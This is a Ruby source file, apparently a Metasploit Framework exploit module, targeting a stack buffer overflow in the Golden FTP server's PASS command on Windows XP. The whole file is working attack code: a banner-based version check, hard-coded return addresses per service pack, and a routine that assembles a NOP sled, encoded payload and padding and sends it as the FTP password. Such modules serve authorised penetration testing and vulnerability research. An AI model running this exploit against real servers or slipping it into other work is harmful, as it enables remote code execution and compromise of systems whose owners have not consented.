96 lines
2.6 KiB
Ruby
96 lines
2.6 KiB
Ruby
#
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GoldenFTP PASS Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the Golden FTP service, using the PASS
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command to cause a buffer overflow. Please note that in order trigger the vulnerable
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code, the victim machine must have the "Show new connections" setting enabled. By
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default, this option is unchecked.
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},
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'Author' =>
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[
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'Craig Freyman', #Initial poc on exploit-db with iglesiasgg
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'bannedit', #Initial msf module
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'Joff Thyer <jsthyer[at]gmail.com>', #Improved msf version
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-6576'],
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[ 'OSVDB', '35951'],
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[ 'BID', '45957 '],
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[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 440,
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'BadChars' => "\x00\x0a\x0d",
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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[ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ], #JMP ESI USER32.dll
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[ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ], #JMP ESI USER32.dll
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[ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ] #JMP ESI kernel32.dll
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],
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'DisclosureDate' => 'Jan 23 2011'))
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end
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def check
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connect
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disconnect
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print_status("FTP Banner: #{banner}".strip)
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if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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shortjmp = make_nops(3) + "\xeb\x20"
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nopsled = make_nops(1) * 60
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srciplen = Rex::Socket.source_address.length
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padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))
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sploit = nopsled
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sploit << payload.encoded
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sploit << padding
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sploit << [target.ret].pack('V')
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print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
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connect
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raw_send(shortjmp + "\n")
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send_user(datastore['FTPUSER'])
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send_cmd(['PASS', sploit], false)
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select(nil,nil,nil,2)
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handler
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disconnect
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end
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end
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